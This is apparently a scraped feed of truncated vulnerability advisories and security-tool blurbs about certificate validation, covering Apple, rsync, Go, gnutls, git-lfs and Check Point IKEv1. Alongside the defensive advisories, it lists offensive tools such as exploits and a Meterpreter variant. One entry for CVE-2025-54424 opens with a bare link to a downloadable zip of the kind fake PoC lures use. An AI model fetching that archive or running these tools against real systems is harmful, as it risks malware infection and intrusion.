CVE-2026-86889

A certificate validation issue in Apple macOS allowed an attacker in a privileged network position to potentially intercept network traffic . The flaw was addressed through improved certificate validation. The issue is fixed in macOS Golden Gate 27 , macOS Sequoia 15.8 , and macOS Tahoe 26.7 . No...

EUVD-2026-77911

A certificate validation issue was addressed with improved certificate validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to intercept network traffic...

CVE-2026-86881

CVE-2026-86881 is a certificate validation issue affecting multiple Apple operating systems, including iOS 26.7, iPadOS 26.7, macOS Sequoia 15.8, macOS Tahoe 26.7 , and other Apple platforms. The root cause is insufficient validation of extended key usages on certificates. An attacker with a comp...

EUVD-2026-77977

A certificate validation issue was addressed with improved certificate validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An attacker with a compromised intermediate...

rsync: rsync: TLS Certificate Validation Bypass allows interception of encrypted sessions

A flaw was found in the rsync-ssl wrapper script's TLS certificate validation. An on-path attacker can present self-signed or invalid certificates to intercept, decrypt, or tamper with encrypted sessions. Because rsync fails to validate the certificate against a trusted CA or verify hostname...

CVE-2026-50751---Check-Point-IKEv1-Authentication-Bypass-Exploit

CVE-2026-50751 - Check Point IKEv1 認証バイパスエクスプロイト ⚠️ 重要注意事項 このコードは教育目的および許可されたセキュリティテストにのみ使用してください。 明示的な許可なくシステムに対して不正に使用することは違法です。 著者は本ツールの誤用について一切の責任を負いません。 📋 説明 CVE-2026-50751 は、Check Point の IKEv1 非推奨 プロトコルにおける重大な認証バイパスの脆弱性であり、Remote Access VPN および Mobile Access...

badecparams

BADECPARAMS Proof of Concept for CVE-2020-0601. badecparams.py は、脆弱性を悪用する中間証明機関を生成し、Authenticode および TLS 証明書を発行します。TLS 証明書は、Microsoft Edge および Internet Explorer で拡張検証 Extended Validation を持ちます。 httpd.py は、コマンドラインで指定された PEM エンコードされた証明書チェーンを使用して、www サブフォルダの内容を HTTPS で提供します。 root@kitploit:...

shim

shim，第一阶段的 UEFI 引导加载程序 shim 是一个简单的 EFI 应用程序，运行时它会尝试打开并执行另一个应用程序。它最初会尝试通过标准的 EFI LoadImage 和 StartImage 调用来完成此操作。如果这些调用失败（例如，因为启用了安全启动且二进制文件未使用相应的密钥签名），它将根据内置证书验证该二进制文件。如果验证成功并且该二进制文件或签名密钥未被禁止，shim 将重定位并执行该二进制文件。 协议 shim 锁定协议 shim 还会安装一个协议，允许第二阶段的引导加载程序执行类似的二进制验证。该协议具有 shim.h 头文件中描述的...

TWSL2011-007_iOS_code_workaround

= testcert 用于 TWSL2011-007 漏洞变通方案的参考实现（即 CVE-2011-0228）。 作者：Eric Monti 日期：2011 年 7 月 28 日 = 编译 使用 Apple iOS SDK CFLAGS 编译，并添加： gcc -o testcert testcert.m -framework Foundation -framework Security 如果你只是想测试一下，上述编译参数在 OS X 下可以直接使用。 = 用法： root@kitploit: $ testcert path/to/file.der severname 文件应为原始 DE...

qark

Quick Android Review Kit This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. The tool is also capable of creating "Proof-of-Concept" deployable APKs and/or ADB commands, capable of exploiting many of the...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs CVE-2025-54424 是关于 1Panel...

Important: Red Hat Security Advisory: git-lfs security update

An update for git-lfs is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

Meterpreter_Paranoid_Mode-SSL

MeterpreterParanoidMode v1.4 - SSL/TLS接続 root@kitploit: バージョンリリース: v1.4 安定版 作者: pedro ubuntu r00t-3xp10it 対応ディストリビューション: Linux Kali, Mint, Ubuntu Suspicious-Shell-Activity SSA RedTeam 開発 @2017 説明: root@kitploit: MeterpreterParanoidMode.sh は、接続先のハンドラの証明書を確認させることで、Meterpreter...

Astra Linux – Vulnerability in gnutls28

A flaw was discovered in gnutls. When validating certificates, an excessively large Subject Alternative Name SAN could cause the validation process to incorrectly revert to checking the Common Name CN field. This could allow a remote attacker to bypass proper certificate validation, potentially...

Astra Linux – Vulnerability in gnutls28

A flaw was discovered in gnutls. A remote attacker could exploit this vulnerability by presenting a specially crafted certificate that contains Uniform Resource Identifier URI or Service SRV Subject Alternative Names SANs. This could cause the certificate validation process to incorrectly fall ba...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation root@kitploit: installrustbuster echo "Installing...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

Important: Red Hat Security Advisory: git-lfs security update

An update for git-lfs is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available fo...

CVE-2026-90623

A weakness has been identified in andreashappe cochise up to 0.4.1. Affected is the function asyncssh.connect of the file src/cochise/sshconnection.py of the component SSH Host Key Handler. Executing a manipulation can lead to improper certificate validation. The attack may be launched remotely...